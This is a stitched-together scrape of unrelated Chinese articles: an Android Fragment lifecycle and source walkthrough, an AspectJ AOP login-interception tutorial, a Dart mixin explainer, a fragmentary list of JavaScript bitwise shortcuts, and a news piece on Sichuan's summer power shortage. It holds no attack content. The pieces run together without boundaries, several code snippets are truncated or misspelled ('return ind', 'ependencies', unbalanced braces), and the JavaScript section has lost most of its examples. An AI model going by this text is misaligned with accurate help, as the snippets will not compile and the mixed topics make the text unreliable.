public class AppCompatActivity extends FragmentActivity implements AppCompatCallback,
TaskStackBuilder.SupportParentable, ActionBarDrawerToggle.DelegateProvider {
也就是说Activity之所支持fragment,是因为有FragmentActivity,他内部有一个FragmentController,这个controller持有一个FragmentManager,真正做事的就是这个FragmentManager的实现类FragmentManagerImpl
回到我们刚才的面试题,关于生命周期绝对是重中之重,但是实际上,生命周期本质只是被其他地方的方法被动调用而已,关键是Fragment自己的状态变化了,才会回调生命周期方法,所以我们来看看fragment的状态转移
fragment有七个状态
static final int INVALID_STATE = -1; // 为空时无效
static final int INITIALIZING = 0; // 未创建
static final int CREATED = 1; // 已创建,位于后台
static final int ACTIVITY_CREATED = 2; // Activity已经创建,Fragment位于后台
static final int STOPPED = 3; // 创建完成,没有开始
static final int STARTED = 4; // 开始运行,但是位于后台
static final int RESUMED = 5; // 显示到前台
在这里有一个有意思的地方,STOPPED,我本来以为是停止阶段,但是在源码中写为”
Fully created, not started.“,所以,其实Fragment的状态是对称的。RESUME状态反而是最后一个状态
调用过程如下
Fragment的状态转移过程主要受到宿主,事务的影响,宿主一般就是Activity,在我们刚刚的题目中,看到了Activity与Fragment的生命周期交替执行,本质上就是,Activity执行完后通知了Fragment进行状态转移,而Fragment执行了状态转移后对应的回调了生命周期方法
下图可以更加清晰
那么我们不禁要问,Activity如何改变Fragment的状态?
我们知道Activity继承于FragmentActivity,最终是通过持有的FragmentManager来控制Fragment,我们去看看
FragmentActivity
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
mFragments.attachHost(null /*parent*/);
super.onCreate(savedInstanceState);
...
mFragments.dispatchCreate();
}
可以看到,onCreate方法中执行了mFragments.dispatchCreate();
,看起来像是通知Fragment的onCreate执行,这也印证了我们开始时的周期回调顺序
D/MainActivity: MainActivity:
D/MainActivity: onCreate: start // 进入onCreate
D/MainFragment: onAttach: // 执行mFragments.dispatchCreate();
D/MainFragment: onCreate:
D/MainActivity: onCreate: end // 退出onCreate
类似的FragmentActivity在每一个生命周期方法中都做了相同的事情
@Override
protected void onDestroy() {
super.onDestroy();
if (mViewModelStore != null && !isChangingConfigurations()) {
mViewModelStore.clear();
}
mFragments.dispatchDestroy();
}
我们进入dispatchCreate看看,
Runnable mExecCommit = new Runnable() {
@Override
public void run() {
execPendingActions();
}
//内部修改了两个状态
public void dispatchCreate() {
mStateSaved = false;
mStopped = false;
dispatchStateChange(Fragment.CREATED);
private void dispatchStateChange(int nextState) {
try {
mExecutingActions = true;
moveToState(nextState, false);// 转移到nextState
} finally {
mExecutingActions = false;
}
execPendingActions();
}
//一路下来会执行到
void moveToState(Fragment f, int newState, int transit, int transitionStyle,
boolean keepActive) {
// Fragments that are not currently added will sit in the onCreate() state.
if ((!f.mAdded || f.mDetached) && newState > Fragment.CREATED) {
newState = Fragment.CREATED;
}
if (f.mRemoving && newState > f.mState) {
if (f.mState == Fragment.INITIALIZING && f.isInBackStack()) {
// Allow the fragment to be created so that it can be saved later.
newState = Fragment.CREATED;
} else {
// While removing a fragment, we can't change it to a higher state.
newState = f.mState;
}
}
...
}
可以看到上面的代码,最终执行到 moveToState,通过判断Fragment当前的状态,同时newState > f.mState,避免状态回退,然后进行状态转移
状态转移完成后就会触发对应的生命周期回调方法
如果Fragment只能随着Activity的生命周期变化而变化,那就太不灵活了,所以Android给我们提供了一个独立的操作方案,事务
同样由FragManager管理,具体由FragmentTransaction执行,主要是添加删除替换Fragment等,执行操作后,需要提交来保证生效
FragmentManager fragmentManager = ...
FragmentTransaction transaction = fragmentManager.beginTransaction();
transaction.setReorderingAllowed(true);
transaction.replace(R.id.fragment_container, ExampleFragment.class, null); // 替换Fragment
transaction.commit();// 这里的commit是提交的一种方法
Android给我们的几种提交方式
FragmentTransaction是个挂名抽象类,真正的实现在BackStackState回退栈中,我们看下commit
@Override
public int commit() {
return commitInternal(false);
}
int commitInternal(boolean allowStateLoss) {
if (mCommitted) throw new IllegalStateException("commit already called");
...
mCommitted = true;
if (mAddToBackStack) {
mIndex = mManager.allocBackStackIndex(this);//1
} else {
mIndex = -1;
}
// 入队操作
mManager.enqueueAction(this, allowStateLoss);//2
return mIndex;
}
可以看到,commit的本质就是将事务提交到队列中,这里出现了两个数组,注释1处
ArrayList<BackStackRecord> mBackStackIndices;
ArrayList<Integer> mAvailBackStackIndices;
public int allocBackStackIndex(BackStackRecord bse) {
synchronized (this) {
if (mAvailBackStackIndices == null || mAvailBackStackIndices.size() <= 0) {
if (mBackStackIndices == null) {
mBackStackIndices = new ArrayList<BackStackRecord>();
}
int index = mBackStackIndices.size();
mBackStackIndices.add(bse);
return ind
} else {
int index = mAvailBackStackIndices.remove(mAvailBackStackIndices.size()-1);
mBackStackIndices.set(index, bse);
return index;
}
}
}
mBackStackIndices数组,每个元素是一个回退栈,用来记录索引。比如说,当有五个BackStackState时,移除掉1,3两个,就是在mBackStackIndices将对应元素置为null,然后mAvailBackStackIndices会添加这两个回退栈,记录被移除的回退栈
当下次commit时,就判定mAvailBackStackIndices中的索引,对应的BackStackState一定是null,直接写到这个索引即可
而一组操作都commit到同一个队列里面,所以要么全部完成,要么全部不做,可以保证原子性
注释二处是一个入队操作
public void enqueueAction(OpGenerator action, boolean allowStateLoss
synchronized (this) {
...
mPendingActions.add(action);
scheduleCommit(); // 真正的提交
}
}
public void scheduleCommit() {
synchronized (this) {
boolean postponeReady =
mPostponedTransactions != null && !mPostponedTransactions.isEmpty();
boolean pendingReady = mPendingActions != null && mPendingActions.size() == 1;
if (postponeReady || pendingReady) {
mHost.getHandler().removeCallbacks(mExecCommit);
mHost.getHandler().post(mExecCommit); // 发送请求
}
}
这里最后 mHost.getHandler()是拿到了宿主Activity的handler,使得可以在主线程执行,mExecCommit本身是一个线程
我们继续看下这个mExecCommit
Runnable mExecCommit = new Runnable() {
@Override
public void run() {
execPendingActions();
}
};
public boolean execPendingActions() {
ensureExecReady(true);
...
doPendingDeferredStart();
burpActive();
return didSomething;
}
void doPendingDeferredStart() {
if (mHavePendingDeferredStart) {
mHavePendingDeferredStart = false;
startPendingDeferredFragments();
}
}
void startPendingDeferredFragments() {
if (mActive == null) return;
for (int i=0; i<mActive.size(); i++) {
Fragment f = mActive.valueAt(i);
if (f != null) {
performPendingDeferredStart(f);
}
}
}
public void performPendingDeferredStart(Fragment f) {
if (f.mDeferStart) {
f.mDeferStart = false;
moveToState(f, mCurState, 0, 0, false); // 最终到了MoveToState
}
}
还记得我们在宿主改变Fragment状态,里面的最终路径吗?是的,就是这个moveToState,无论是宿主改变Fragment状态,还是事务来改变,最终都会执行到moveToState,然后call对应的生命周期方法来执行,这也是为什么我们要将状态转移作为学习主线,而不是生命周期。
除了commit,可以看到FragmentTransaction有众多对Fragment进行增删改查的方法
都是由BackStackState来执行,最后都会执行到moveToState中
具体是如何改变的,有很多细节,这里不再赘述。
本节我们讲了Fragment在android系统中的状态,那就是通过自身状态转移来回调对应生命周期方法,这块是自动实现的,我们开发时不太需要关注状态转移,只要知道什么时候执行某个生命周期方法,然后再在对应方法中写业务逻辑即可
有两个方法可以让Fragment状态转移,
场景如下:用户第一次下载App,点击进入首页列表,点击个人页面,需要校验登录,然后跳转到登录页面,注册/登录完成跳转到个人页面。
非常常见的场景,正常我们开发就只能判断是否已经登录,如果未登录就跳转到登录,然后登录完成之后怎么继续执行?如何封装?有哪些方式?其实很多人并不清楚。
这里做一个系列总结一下,看看公共有多少种方式实现,你们使用的是哪一种方案,或者说你们觉得哪一种方案最好用。
这一次分享的是全网最多的方案 ,面向切面 AOP 的方式。你去某度一搜,Android拦截登录
最多的结果就是AOP实现登录拦截的功能,既然大家都推荐,我们就来看看它到底如何?
我们学习Java的开始,我们一直就知道 OOP 面向对象,其实 AOP 面向切面,是对OOP的一个补充,AOP采取横向收取机制,取代了传统纵向继承体系重复性代码,把某一类问题集中在一个地方进行处理,比如处理程序中的点击事件、打印日志等。
AOP是编程思想就是把业务逻辑和横切问题进行分离,从而达到解耦的目的,提高代码的重用性和开发效率。OOP的精髓是把功能或问题模块化,每个模块处理自己的家务事。但在现实世界中,并不是所有功能都能完美得划分到模块中。AOP的目标是把这些功能集中起来,放到一个统一的地方来控制和管理。
我记得我最开始接触 AOP 还是在JavaEE的框架SSH的学习中,AspectJ框架,开始流行于后端,现在在Android开发的应用中也越来越广泛了,Android中使用AspectJ框架的应用也有很多,比如点击事件防抖,埋点,权限申请等等不一而足,这里不展开说明,毕竟我们这一期不是专门讲AspectJ的应用的。
简单的说一下AOP的重点概念(摘抄):
前置通知(Before):在目标方法被调用之前调用通知功能。
后置通知(After):在目标方法完成之后调用通知,此时不会关心方法的输出是什么。
返回通知(After-returning):在目标方法成功执行之后调用通知。
异常通知(After-throwing):在目标方法抛出异常后调用通知。
环绕通知(Around):通知包裹了被通知的方法,在被通知的方法调用之前和调用之后执行自定义的行为。
连接点:是在应用执行过程中能够插入切面的一个点。
切点: 切点定义了切面在何处要织入的一个或者多个连接点。
切面:是通知和切点的结合。通知和切点共同定义了切面的全部内容。
引入:引入允许我们向现有类添加新方法或属性。
织入:是把切面应用到目标对象,并创建新的代理对象的过程。切面在指定的连接点被织入到目标对象中。在目标对象的生命周期中有多个点可以进行织入:
编译期: 在目标类编译时,切面被织入。这种方式需要特殊的编译器。AspectJ的织入编译器就是以这种方式织入切面的。
类加载期:切面在目标加载到JVM时被织入。这种方式需要特殊的类加载器(class loader)它可以在目标类被引入应用之前增强该目标类的字节码。
运行期: 切面在应用运行到某个时刻时被织入。一般情况下,在织入切面时,AOP容器会为目标对象动态地创建一个代理对象。SpringAOP就是以这种方式织入切面的。
简单理解就是把一个方法拿出来,在这个方法执行前,执行后,做一些特别的操作。关于AOP的基本使用推荐大家看看大佬的教程:
不多BB,我们直接看看Android中如何使用AspectJ实现AOP逻辑,实现拦截登录的功能。
Java项目集成
buildscript {
repositories {
mavenCentral()
}
dependencies {
classpath 'org.aspectj:aspectjtools:1.8.9'
classpath 'org.aspectj:aspectjweaver:1.8.9'
}
}
组件build.gradle
dependencies {
implementation 'org.aspectj:aspectjrt:1.9.6'
}
import org.aspectj.bridge.IMessage
import org.aspectj.bridge.MessageHandler
import org.aspectj.tools.ajc.Main
// 获取log打印工具和构建配置
final def log = project.logger
final def variants = project.android.applicationVariants
variants.all { variant ->
if (!variant.buildType.isDebuggable()) {
// 判断是否debug,如果打release把return去掉就可以
log.debug("Skipping non-debuggable build type '${variant.buildType.name}'.")
// return;
}
// 使aspectj配置生效
JavaCompile javaCompile = variant.javaCompile
javaCompile.doLast {
String[] args = ["-showWeaveInfo",
"-1.8",
"-inpath", javaCompile.destinationDir.toString(),
"-aspectpath", javaCompile.classpath.asPath,
"-d", javaCompile.destinationDir.toString(),
"-classpath", javaCompile.classpath.asPath,
"-bootclasspath", project.android.bootClasspath.join(File.pathSeparator)]
log.debug "ajc args: " + Arrays.toString(args)
MessageHandler handler = new MessageHandler(true);
new Main().run(args, handler);
//在编译时打印信息如警告、error等等
for (IMessage message : handler.getMessages(null, true)) {
switch (message.getKind()) {
case IMessage.ABORT:
case IMessage.ERROR:
case IMessage.FAIL:
log.error message.message, message.thrown
break;
case IMessage.WARNING:
log.warn message.message, message.thrown
break;
case IMessage.INFO:
log.info message.message, message.thrown
break;
case IMessage.DEBUG:
log.debug message.message, message.thrown
break;
}
}
}
}
Kotlin项目集成
dependencies {
classpath 'com.android.tools.build:gradle:3.6.1'
classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"
classpath 'com.hujiang.aspectjx:gradle-android-plugin-aspectjx:2.0.10'
项目build.gradle
apply plugin: 'com.android.application'
apply plugin: 'kotlin-android'
apply plugin: 'kotlin-kapt'
apply plugin: 'android-aspectjx'
android {
...
// AOP 配置
aspectjx {
// 排除一些第三方库的包名(Gson、 LeakCanary 和 AOP 有冲突)
exclude 'androidx', 'com.google', 'com.squareup', 'com.alipay', 'com.taobao',
'org.apache',
'org.jetbrains.kotlin',
"module-info", 'versions.9'
}
}
ependencies {
implementation fileTree(dir: 'libs', include: ['*.jar'])
implementation 'org.aspectj:aspectjrt:1.9.5'
}
集成AOP踩坑:
zip file is empty
和第三方包有冲突,比如Gson,OkHttp等,需要配置排除一下第三方包,
gradle版本兼容问题
AGP版本4.0以上不支持 推荐使用3.6.1
kotlin兼容问题 :
基本都是推荐使用 com.hujiang.aspectjx
编译版本兼容问题:
4.0以上使用KT编译版本为Java11需要改为Java8
组件化兼容问题:
如果在library的moudle中自定义的注解, 想要通过AspectJ来拦截织入, 那么这个@Aspect类必须和自定义的注解在同一moudle中, 否则是没有效果的
等等...
难点就在集成,如何在指定版本的Gradle,Kotlin项目中集成成功。只要集成成功了,使用到是简单了。
定义标记的注解
//不需要回调的处理
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface Login {
}
定义处理类
@Aspect
public class LoginAspect {
@Pointcut("@annotation(com.guadou.kt_demo.demo.demo3_bottomtabbar_fragment.aop.Login)")
public void Login() {
}
//不带回调的注解处理
@Around("Login()")
public void loginJoinPoint(ProceedingJoinPoint joinPoint) throws Throwable {
YYLogUtils.w("走进AOP方法-Login()");
Signature signature = joinPoint.getSignature();
if (!(signature instanceof MethodSignature)){
throw new RuntimeException("该注解只能用于方法上");
}
Login login = ((MethodSignature) signature).getMethod().getAnnotation(Login.class);
if (login == null) return;
//判断当前是否已经登录
if (LoginManager.isLogin()) {
joinPoint.proceed();
} else {
//如果未登录,去登录页面
LoginManager.gotoLoginPage();
}
}
object LoginManager {
@JvmStatic
fun isLogin(): Boolean {
val token = SP().getString(Constants.KEY_TOKEN, "")
YYLogUtils.w("LoginManager-token:$token")
val checkEmpty = token.checkEmpty()
return !checkEmpty
}
@JvmStatic
fun gotoLoginPage() {
commContext().gotoActivity<LoginDemoActivity>()
}
}
其实逻辑很简单,就是判断是否登录,看是放行还是跳转到登录页面
使用的逻辑也是很简单,把需要处理的逻辑使用方法抽取,并标记注解即可
override fun init() {
mBtnCleanToken.click {
SP().remove(Constants.KEY_TOKEN)
toast("清除成功")
}
mBtnProfile.click {
//不带回调的登录方式
gotoProfilePage2()
}
}
@Login
private fun gotoProfilePage2() {
gotoActivity<ProfileDemoActivity>()
}
效果:
这..这和我使用Token自己手动判断有什么区别,完成登录之后还得我再点一次按钮,当然了这只是登录拦截,我想要的是登录成功之后继续之前的操作,怎么办?
其实使用AOP的方式的话,我们可以使用消息通知的方式,比如LiveBus FlowBus之类的间接实现这个效果。
我们先单独的定义一个注解
//需要回调的处理用来触发用户登录成功后的后续操作
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface LoginCallback {
}
修改定义的切面类
@Aspect
public class LoginAspect {
@Pointcut("@annotation(com.guadou.kt_demo.demo.demo3_bottomtabbar_fragment.aop.Login)")
public void Login() {
}
@Pointcut("@annotation(com.guadou.kt_demo.demo.demo3_bottomtabbar_fragment.aop.LoginCallback)")
public void LoginCallback() {
}
//带回调的注解处理
@Around("LoginCallback()")
public void loginCallbackJoinPoint(ProceedingJoinPoint joinPoint) throws Throwable {
YYLogUtils.w("走进AOP方法-LoginCallback()");
Signature signature = joinPoint.getSignature();
if (!(signature instanceof MethodSignature)){
throw new RuntimeException("该注解只能用于方法上");
}
LoginCallback loginCallback = ((MethodSignature) signature).getMethod().getAnnotation(LoginCallback.class);
if (loginCallback == null) return;
//判断当前是否已经登录
if (LoginManager.isLogin()) {
joinPoint.proceed();
} else {
LifecycleOwner lifecycleOwner = (LifecycleOwner) joinPoint.getTarget();
LiveEventBus.get("login").observe(lifecycleOwner, new Observer<Object>() {
@Override
public void onChanged(Object integer) {
try {
joinPoint.proceed();
LiveEventBus.get("login").removeObserver(this);
} catch (Throwable throwable) {
throwable.printStackTrace();
LiveEventBus.get("login").removeObserver(this);
}
}
});
LoginManager.gotoLoginPage();
}
}
//不带回调的注解处理
@Around("Login()")
public void loginJoinPoint(ProceedingJoinPoint joinPoint) throws Throwable {
YYLogUtils.w("走进AOP方法-Login()");
Signature signature = joinPoint.getSignature();
if (!(signature instanceof MethodSignature)){
throw new RuntimeException("该注解只能用于方法上");
}
Login login = ((MethodSignature) signature).getMethod().getAnnotation(Login.class);
if (login == null) return;
//判断当前是否已经登录
if (LoginManager.isLogin()) {
joinPoint.proceed();
} else {
//如果未登录,去登录页面
LoginManager.gotoLoginPage();
}
}
}
在去登录页面之前注册一个LiveEventBus事件,当登录完成之后发出通知,这里就直接放行调用注解的方法。即可完成继续执行的操作。
使用:
override fun init() {
mBtnCleanToken.click {
SP().remove(Constants.KEY_TOKEN)
toast("清除成功")
}
mBtnProfile.click {
//不带回调的登录方式
gotoProfilePage()
}
}
@LoginCallback
private fun gotoProfilePage() {
gotoActivity<ProfileDemoActivity>()
}
效果:
从上面的代码我们就基于AOP思想实现了登录拦截功能,以后我们对于需要用户登录之后才能使用的功能只需要在对应的方法上添加指定的注解即可完成逻辑,彻底摆脱传统耗时耗力的开发方式。
需要注意的是AOP框架虽然使用起来很方便,能帮我们轻松完成函数插桩功能,但是它也有自己的缺点。AspectJ 在实现时会包装自己的一些类,不仅会影响切点方法的性能
,还会导致安装包体积的增大
。最关键的是对Kotlin不友好,对高版本AGP不友好,所以大家在使用时需要仔细权衡是否适合自己的项目。如有需求可以运行源码查看效果。源码在此!
由于篇幅原因,后期会出单独出一些其他方式实现的登录拦截的实现,如果觉得这种方式不喜欢,大家可以对比一下哪一种方式比较你胃口。大家可以点下关注看看最新更新。
题外话:
我发现大家看我的文章都喜欢看一些总结性的,实战性的,直接告诉你怎么用的那种。所以我尽量不涉及到集成原理与基本使用,直接开箱即用。当然关于原理和基本的使用,我也不是什么大佬,我想大家也看不上我讲的。不过我也会给出推荐的文章。
好了,我本人如有讲解不到位或错漏的地方,希望同学们可以指出交流。
如果感觉本文对你有一点点点的启发,还望你能点赞
支持一下,你的支持是我最大的动力。
Ok,这一期就此完结。
混入类是 Dart
中独有的概念,它是 继承
、实现
之外的另一种 is-a
关系的维护方式。它和接口非常像,一个类支持混入多个类,但在本质上和接口还是有很大区别的。在感觉上来说,从耦合性来看,混入类像是 抽象类
和 接口
的中间地带。下面就来认识一下混入类的 使用与特性
。
混入类通过 mixin
关键字进行声明,如下的 MoveAble
类,其中可以持有 成员变量
,也可以声明和实现成员方法。对混入类通过 with
关键字进行使用,如下的 Shape
混入了 MoveAble
类。在下面 main
方法测试中可以看出,混入一个类,就可以访问其中的成员属性与方法,这点和 继承
非常像。
void main(){
Shape shape = Shape();
shape.speed = 20;
shape.move();//=====Shape move====
print(shape is MoveAble);// true
}
mixin MoveAble{
double speed = 10;
void move(){
print("=====$runtimeType move====");
}
}
class Shape with MoveAble{
}
一个类可以混入若干个类,通过 ,
号隔开。如下 Shape
混入了 MoveAble
和 PaintAble
,就表示 Shape
对象可以同时拥有这两个类的能力。这个功能和接口有点相似,不过混入类可以进行对方法进行实现,这点要比接口更灵活。有点 随插随用
的感觉,甚至 Shape
类中可以什么都不做,就坐拥 “王权富贵”
。
mixin PaintAble{
void paint(){
print("=====$runtimeType paint====");
}
}
class Shape with MoveAble,PaintAble{
}
值得注意一点的是:混入类支持 抽象方法
,而且同样要求派生类必须实现 抽象方法
。如下 PaintAble
的 tag1
处定义了 init
抽象方法,在 Shape
中必须实现,这一点又和 抽象类
有些相像。所以我说混入类像是 抽象类
和 接口
的中间地带,它不像继承那样单一,也不像接口那么死板。
mixin PaintAble{
late Paint painter;
void paint(){
print("=====$runtimeType paint====");
}
void init();// tag1
}
class Shape with MoveAble,PaintAble{
@override
void init() {
painter = Paint();
}
}
通过前面可以看出,混入类
可谓 上得厅堂下得厨房
,能打能抗的六边形战士。但,没有任何事物是完美无缺的。仔细想一下,既然语法上支持 多混入
,那解决二义性就是一座不可避免大山。接口
牺牲了 普通成员
和 方法实现
,可谓断尾求生,才解决二义性问题,支持 多实现
。而 混入类
又能写成员变量,又能写成员方法,那它牺牲了什么呢?答案是:
混入类不能拥有【构造方法】
这一点就从本质上限制了 混入类
无法直接创建对象,这也是它和 普通类
最大的差异。从这里可以看出,抽象类
、接口
、混入类
都具有不能直接实例化的特点。本质上是因为这三者都是更高层的抽象,可能存在未实现的功能。那为什么混入类无法构造,就能解决二义性问题呢?下面来分析一下,两个混入类中的同名成员、同名方法,在多混入场景中是如何工作的。如下测试代码所示,A
、B
两个混入类拥有同名的 成员属性
和 成员方法
:
mixin A {
String name = "A";
void log() {
print(name);
}
}
mixin B {
String name = "B";
void log() {
print(name);
}
}
此时,C
依次混入 A
、B
类,然后实例化 C
对象,执行 log
方法,可以看出,打印的是 B
。
class C with A, B {}
void main() {
C c = C();
c.log(); // B
}
如果 C
依次混入 B
、A
类,打印结果是 A
。也就是说对于多混入来说,混入类的顺序是至关重要的,当存在二义性问题时,会 “后来居上”
,访问最后混入类的方法或变量。这点往往会被很多人忽略,或压根不知道。
class C with B, A {}
void main() {
C c = C();
c.log(); // A
}
另外,补充一个小细节,如果 C
类覆写了 log
方法,那么执行时毋庸置疑是走 C#log
。由于混入类支持方法实现,所以派生类中可以通过 super
关键字触发 “基类”
的方法。同样对于二义性的处理也是 “后来居上”
,下面的 super.log()
执行的是 B
类方法。这种特性常用于对有生命周期的类进行拓展的场景,比如 AutomaticKeepAliveClientMixin
。
class C with A, B {
@override
void log() {
super.log();// B
print("C");
}
}
另外,两个混入类间可以通过 on
关键字产生类似于 继承
的关系:如下 MoveAble on Position
之后,MoveAble
类中可以访问 Position
中定义的 vec2
成员变量。
但有一点要特别注意,由于 MoveAble on Position
,当 Shape with MoveAble
时,必须在 MoveAble
之前混入 Position
。这点可能很多人也都不知道。
class Shape with Position,MoveAble,PaintAble{
}
另外,混入类并非仅由mixin
声明,一切满足 没有构造方法
的类都可以作为混入类。比如下面 A
是 普通类
,B
是 接口(抽象)类
,都可以在 with
后作为 混入类被对待
。也就是说,一个类的可以用多重身份,并非是互斥的,它具体是什么身份,要看使用的场景。而使用场景最醒目的标志是 关键字
:
关键字 | 类关系 | 耦合性 |
---|---|---|
extend | 继承 | 高 |
implements | 实现 | 低 |
with | 混入 | 中 |
class A {
String name = "A";
void log() {
print(name);
}
}
abstract class B{
void log();
}
class C with A, B {
@override
void log() {
super.log();// B
print("C");
}
}
混入类在 Flutter
框架层的使用是非常多的,在 《Flutter 渲染机制 - 聚沙成塔》的 十二章 结合源码介绍了混入类的价值。下面来举个混入类的使用场景,会有些难,新手适当理解。比如 AutomaticKeepAliveClientMixin
继承 State
:
mixin AutomaticKeepAliveClientMixin<T extends StatefulWidget> on State<T> {}
所以它可以在 State
的生命周期相关回调方法中做额外的处理,来实现某些特定的功能能。
这样,当在 State
派生类中混入 AutomaticKeepAliveClientMixin
,根据混入类二义性的特点,对于已经覆写的方法,可以通过 super.XXX
访问混入类的功能。对于未覆写的方法,会默认走混入类方法,这样就可以形成一种 "可插拔"
的功能件。
举个更易懂的例子,如下定义一个 LogStateMixin
,对 initState
和 dispose
方法进行覆写并输出日志。这样在一个 State
派生类中混入 LogStateMixin
就可以不动声色地实现生命周期打印功能,不想要就不混入。对于一些逻辑相对独立,或可以进行复用的拓展功能,使用 mixin
是非常方便的。
mixin LogStateMixin<T extends StatefulWidget> on State<T> {
@override
void initState() {
super.initState();
print("====initState====");
}
// 略其他回调...
@override
void dispose() {
super.dispose();
print("====dispose====");
}
}
源码中有大量的混入类应用场景,大家可以自己去发现一下。本文从更深层次,分析了混入类的来龙去脉,它和 继承
、接口
的差异。作为 Dart
中相对独立的概念,对混入类的理解是非常重要的,它相当于在原有的 类间六大关系
中又添加了一种。本文想说的就这么多,谢谢观看~
曾经,我接手了一份大佬的代码,里面充满了各种“骚操作”,还不加注释那种,短短几行的函数花了很久才弄懂。
这世上,“只有魔法才能对抗魔法”,于是后来,翻阅各种“黑魔法”的秘籍,总结了一些比较实用的“骚操作”,让我们装X的同时,提升代码运行的效率(请配合健身房一起使用)。
JavaScript 中最臭名昭著的 Bug 就是 0.1 + 0.2 !== 0.3,因为精度的问题,导致所有的浮点运算都是不安全的。
因此,之前有大牛提出,不要在 JS 中使用位运算:
Javascript 完全套用了 Java 的位运算符,包括按位与&、按位或|、按位异或^、按位非~、左移<<、带符号的右移>>和用0补足的右移>>>。这套运算符针对的是整数,所以对 JavaScript 完全无用,因为 JavaScript 内部,所有数字都保存为双精度浮点数。如果使用它们的话,JavaScript 不得不将运算数先转为整数,然后再进行运算,这样就降低了速度。而且按位与运算符&同逻辑与运算符&&,很容易混淆。
但是在我看来,如果对 JS 的运用达到炉火纯青的地步,能避开各种“Feature”的话,偶尔用一下位运算符也无所谓,还能提升运算性能,毕竟直接操作的是计算机最熟悉的二进制。
偶数 & 1 = 0
奇数 & 1 = 1
所有非0的值都是true,包括负数、浮点数:
5. 使用~、>>、<<、>>>、|来取整
相当于使用了 Math.floor()
注意 >>> 不可对负数取整
这个符号的用法前面提到过,下面介绍一些高级的用法,在 ES6 的解构赋值出来之前,用这种方式会更快(但必须是整数):
使用数字来做为 split 的分隔条件可以节省2字节
一个鲜为人知的方法,可以快速创建 a 标签
._
, 1.._
和 0[0]

2. void 0
会比写 undefined
要快一些
1/0
来替代 Infinity
Array.length = 0
来清空数组Array.slice(0)
实现数组浅拷贝!+\v1
快速判断 IE8 以下的浏览器虽然上述操作能在一定程度上使代码更简洁,但会降低可读性。在目前的大环境下,机器的性能损失远比不上人力的损失,因为升级机器配置的成本远低于维护晦涩代码的成本,所以请谨慎使用这些“黑魔法”。就算要使用,也请加上注释,毕竟,这世上还有很多“麻瓜”需要生存。
还有一些其他骚操作,可以参考这位大神总结的 《Byte-saving Techniques》,有些很常见,有些使用环境苛刻,这里就不一一列出了。
最后,来一个彩蛋,在控制台输入:
如果以后有人喷你的代码,你就可以将此代码发给他。
来源:juejin.im/post/5e044eb5f265da33b50748c8
热热热!
这大概是最近南方朋友们出门之后的唯一感想了。
前有江苏最高地表温度飙至72℃,把地里的火龙果都给烤熟了。
后脚更严重的情况发生在四川:因为持续高温,蜀地“电量电力双缺”,甚至不得不对工业用户开启了限电模式。
但说起来,四川可是水电大省啊。
从2021年的数据来看,四川水电装机容量达8947.0万千瓦,位居全国第一。
并且水力发电向来有“夏丰冬枯”的说法。
怎么这个时候,会出现供电紧张的情况?
靠着丰富的自然资源,四川的能源结构以水电为主,占全省发电量的70%-80%。
同时四川也是全国水电第一大省,据四川省统计局,2021年末四川水力发电量3531.4亿千瓦时,水电装机容量和年发电量均居全国第一。
根据往年经验,从5-6月开始直到9-10月四川都是丰水期。
此时往往供电大于用电,甚至还会出现被迫“弃水弃电”的情况:水电站储存不下的多余水量只能放弃。据国家能源局消息,2016-2020年四川年均弃水电量超100亿千瓦时。
今年最大的变数是异常高温、干旱。
首先高温会造成居民用电量激增,预计全省最大用电负荷将比去年同期增加25%。
再者今年平均降水量较常年少了51%,为历史同期最少。据国网四川省电力公司消息,干旱造成水电日发电量大幅下降,供电支撑能力大幅下跌。
两者叠加的局面,使电力保供形势十分严峻,而高温天气预计还将持续一周左右。
值得注意的是,四川还有“外送履约执行”的压力。
四川是“西电东送”的重要输出端,电力输送区域包括华东、西北、华北、华中和重庆等。这部分外送的电量是有固定分配比例的。
目前,针对这一问题,四川省已经向省外求援。
据川观新闻消息,四川跨省跨区所有通道已最大化利用,同时增大水电留川规模,大幅削减四川低谷年度外送计划电力。但目前所有电力入川通道已全部满载运行,组织省外电力支援难度增大。
最后还有一点,极端天气除了增加用电负荷,也让电网设备运行环境温度增加,发生故障的概率随之增大,给电力公司的检修工作带来更大压力。
备受关注的是,这次一限电,不少在能源供应大省“安营扎寨”的企业受到了波及。
在四川重点发展的五类企业(电子信息、装备制造、食品饮料、先进材料、能源化工)中,尤以能源化工和电子信息企业受到关注。
这也与四川出产的战略资源有关:多晶硅、锂矿、稀土、石墨、钒钛……
多晶硅,生产光伏组件、半导体电子的关键原材料。据澎湃新闻介绍,四川多晶硅产量则约占全国产量的13%,截至2021年,四川省内已建成和在建高纯晶硅、拉棒切方、电池片等项目投资超1000亿元。
锂矿,新能源汽车所用电池的重要构成材料之一。据国泰君安介绍,四川地区锂盐产能占比全国锂盐产能接近30%。
由此,限电给企业带来的影响也分为两方面。
一方面,上游的原材料生产企业受到影响。
据华尔街见闻介绍,SMM估算此次限电会导致四川的碳酸锂产量减少约1120吨,占行业比重3%;氢氧化锂产量减少约1690吨,占行业比重约8%。
除了锂与多晶硅以外,一些原材料生产厂商也给出了预计影响的产量。
如据澎湃新闻介绍,四川美丰表示,本次临时停产预计将影响尿素产量约1.5万吨、复合肥产量约0.6万吨。四川绵竹川润化工有限公司,预计将减少锌合金产量约0.1万吨、磷化工产品产量约0.4万吨、合成氨产量0.2万吨。
另一方面,材料上涨的同时、限电导致的产量下降,又会给下游的产业带来进一步影响。
例如,给新能源汽车生产锂电池的工厂宁德时代。
据界面新闻消息,宁德时代四川宜宾工厂已经限电停产。
此前,宁德时代宜宾基地第一、二、三、五、六期已建成投运,第七和第八期开工建设,产能达75GWh。若以每辆新能源车搭载50KWh(千瓦时)电量计算,75GWh的动力电池可配套150万辆新能源车。
另外,四川作为电子产业重镇,2019年全省电子信息产业主营业务收入首次突破万亿大关,达10259.9亿元,为全省第一支柱产业,涉及PC产业链、通讯设备、芯片等电子硬件设备制造更是贡献一半以上的收入。
包括英特尔、富士康等与半导体相关的电子信息企业,在四川也均建有工厂。
不过,富士康方面回应中国证券报称,目前对公司运营影响不大。
而郭明錤表示,四川的临时限电可能会影响成都(富士康)和重庆(仁宝)的iPad组装厂。虽然目前很难评估对生产的影响,但如果停电可以在8月20日结束,影响应该是有限的。
与此同时,也有专家认为,这样的限电停产带来的影响是可控的。
